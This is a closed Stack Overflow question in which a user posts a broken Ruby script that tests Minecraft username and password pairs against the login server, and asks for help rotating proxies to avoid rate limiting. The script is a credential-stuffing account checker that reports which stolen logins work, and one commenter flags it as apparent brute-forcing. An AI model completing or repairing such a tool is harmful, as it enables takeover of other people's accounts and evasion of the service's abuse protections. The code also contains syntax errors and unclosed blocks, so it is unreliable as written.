Take the 2-minute tour ×

I'm new to Ruby (and any other language) but my friend has experience from other languages. Me and a friend of mine began working on a small script which parses a list of each individual minecraft username and password, and goes trough an authentication check, to see if the combination matches. We needed to use proxies so i researched proxies in 'Net::HTTP' and i came up with a result. Though it wasn't enough to make it work, because i want to gather a list of proxies, and when the proxy wouldn't work (HTTP error) it would go back in the list and check each individual proxy, until it would find one that would work. I don't know where to continue so that's why i need your help

This is what we have so far, and i tried editing some of the code but since my friend isn't online i may have quite some syntax errors, and mistakes. Please correct it if you think it may be wrong

require 'net/http'
require 'uri'

# Declarations
tmpSp = []
users = []
passwords = []
i = 0
x = 0
# Proxy List
lSPLIT = []
proxy_addr = []
proxy_port = []
uri = URI.parse(ENV['http_proxy'])
l = 0
z = 0
File.open("proxies.txr", "r").each_line do |line|
        lSPLIT = line.split(":")
        proxy_addr << lSPLIT[0] 
        proxy_port << lSPLIT[1]
File.open("plist.txt", "r").each_line do |line|
        tmpSp = line.split(":")
        users << tmpSp[0] # Don't even SUGGEST putting the slice here :| It won't do what you think, no matter what D:<<<AIOEGihgsegighsklghei
        passwords << tmpSp[1]

puts "Users:\n#{users}"
puts "Passwords:\n#{passwords}"
users.each { |user|
        user.slice! "\n"
passwords.each { |password|
        password.slice! "\n"
proxy_addr { |proxy_addr|
        proxy_addr.slice! "\n"
proxy_port { |proxy_port|
        proxy_port.slice! "\n"

        puts "Trying Username: #{users[i]} with Password: #{passwords[i]}"
        get = (Net::HTTP::Proxy(proxy_addr, proxy_port).get_response(URI.parse("http://login.minecraft.net/?user=#{users[i]}&password=#{passwords[i]}&version=24")).body {|http|
        response = get
        result = case response
           when /bad login/i; :bad_login
           when /migrated/i; :account_migrated
           when /bad request/i; :bad_request
           when /too many/i;  :too_many
           else; :login_success

        if result == :account_migrated
                puts "& - MIGRATED: #{users[i]}"
        elsif result == :bad_login
                puts "x - Bad Login for #{users[i]}"
        elsif result == :too_many
                puts "\n\n\n\nYOU CAN'T GO ON! IT'S NOT SAFE!\nActually, you tried too many, so Minecraft.net is refusing all attempts now."
        elsif result == :bad_request
                puts "+ - Bad Request! Something went wrong for #{users[i]}"        
        elsif result == :login_success
                puts "* - SUCCESS! #{users[i]} WORKS WITH PASSWORD #{passwords[i]}"

end until i == users.length

        puts "#{users[x]}:#{passwords[x]}\n-------------------"
end until x == users.length

I would appreciate your help :)

share|improve this question

closed as not constructive by Will Oct 30 '12 at 13:30


It looks for all the world like this script is intended to brute-force accounts on minecraft.net. In case I'm just being paranoid, could you please let us know what you're using this for? –  Duncan Bayne Oct 25 '12 at 2:17
add comment

Browse other questions tagged or ask your own question.